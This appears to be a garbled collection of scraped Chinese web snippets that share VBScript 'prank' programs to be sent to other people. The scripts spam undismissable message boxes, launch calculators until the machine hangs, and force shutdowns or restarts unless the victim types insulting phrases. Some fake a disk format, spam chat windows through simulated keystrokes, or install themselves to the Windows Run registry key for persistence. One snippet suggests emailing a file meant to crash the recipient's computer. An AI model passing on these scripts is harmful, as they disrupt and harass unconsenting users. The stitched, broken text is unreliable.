Set objShell = CreateObjectquotWscriptShellquot objShellRun quotshutdown s t 5quottrue end if 第四个 #39这个很强悍的vbs，蓝屏 strs=array13，105，102，32，77，115，103，66，111，120，40，34；代码一无限弹出信息框 双引号内可以自行修改 do msgbox quot爱邱哥爱生活quotloop 代码二打开N个计算器，到电脑死机 et wsh=createobjectquotwscriptshellquotdo wshrun quotcalcquotloop 代码三电脑关机 dim WSHshell set WSHsh；qwritebWriteLine quotwscriptCreateObjectquot chr34 quotwscriptshellquot chr34 quotrun quot chr34 quotD\1vbsquot chr34qwritebWriteLine quotmsgbox quot chr34 quot滚quot chr34 quot，vbokonly+。
gsh=msgbox quot已经准备好格式化，准备开始quot，vbyesnoset s=createobjectquotwscriptshellquotwscriptsleep 1000 msgbox quot开始格式化 哈哈吓晕了吧，骗你的~quotwscriptsleep 1000 wscriptsleep 1000*100 msgbox quot；#39这里提示一下装逼信息这个程序很早就有了这里不具备检测发群数量和删除C盘东西只是简单的进行一个回答作用，打开立即运行关机命令，而且这个命令所设置的关机时间为600秒，即60分钟没有其它功能；WSHshellArun quotcmdexe c shutdown r t 60 c quotquot说“我是XX”，不说“我是XX”就一分钟关你的机，不信，试试quotquot quot，0，true dim a do whilea lt quot我是XX，大哥我真的是XX啊！quota = inputbox；首先来看第一个脚本，这个脚本会每隔1秒就弹出一个窗口，并且你都关不掉，如下图所示 然后第二个脚本是不断的循环一段内容，如下图所示，它和第一个一样，也不能关闭弹窗 接下来这个脚本每一次循环会展示4个弹窗，每个；VBS可以用来编写一些整人的小程序，那么如何编写呢下面我就给大家分享一下01 我们首先在桌面上创建一个VBS的文件，如下图所示，注意VBS文件双击的话是直接运行的 02 然后我们用Sublime打开vbs程序文件，在里面借助lo。
Resume Next Dim wsh，ye set wsh=createobjectquotwscriptshellquotfor i=1 to 10 wscriptsleep 700 wshAppActivatequot与 xx 聊天中quotwshsendKeys quot^vquotwshsendKeys i wshsendKeys quot%squotnext wscriptquit；fscopyfile thn，a1quot\admin123vbsquot，true do while ilt10 i=i+1 wsRegWrite quotHKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\adminquot，quotC\admin123vbsquotloop wsrun quotshutdown s f t；代码如下，复制到记事本，将txt改为vbs就ok了，中间的字可自己改if MsgBoxquot对不起，您灌水太多需要重新启动计算机quotchr10quot确定要重启吗quot，vbOKCancel+vbInformation，quot重新启动计算机quot=vbCancel then msgbox quot；你要修改为VBS的后缀 恶搞电脑病毒代码介绍二新建一个文本文档，然后插入hhjsfdusnjwindowhffjfiukjei kfdjksfjjkk，最后插入图片，如果对方有邮箱，就发给他 他一打开就会出现你插入的图片，然后出现 蓝屏；do while rltvbok r=msgboxquot你爱我吗quot，Vbokcancel，quot残风提示quotloop 把以上代码复制到文档，并命名为1vbs，运行即可；你和我上学的时候有相同的爱好我04年的时候写了一个类似自动发送消息的小东西 就是模拟键盘输入 事先设定循环写的次数还有要写什么东西 要运行vbs的前提是对方机器有wscript服务还有个比较狠的，在c盘上建立一个1。
有点简单代码如下WScriptEchoquot嘿，谢谢你打开我哦，我等你很久拉quotTSNameWScriptEchoquot你是可爱的小朋吗？quotWScriptEchoquot哈，我想你拉，这你都不知道吗quotWScriptEchoquot怎么才来，说~是不是不；哈哈，LS的比较搞笑 先说VBS我是学VB的，据说VB和VBS差不了多少，只是VBS没有主界面而已，VB对网络的支持堪称完美，所以不少的盗号程序都选择用VB来编写，但是其代码量绝对不是我们可以在百度贴出来的，而且等等；vbs解包代码20100327 2143Dim rs， ws， fso， conn， stream， connStr， theFolder Set rs = CreateObjectquotADODBRecordSetquotSet stream = CreateObjectquotADODBStreamquotSet conn = CreateObjectquotADODBConnectionquotS。
a = inputboxquot请输入quot vbcr quotquotquot我是大笨蛋quotquotquot vbcr quot否则电脑将立即重启quot， quot笨蛋炸弹quotif a lt quot我是大笨蛋quot then vbsrunquotshutdown r t 0quot，vbhide end if 把代码拷贝到记事。
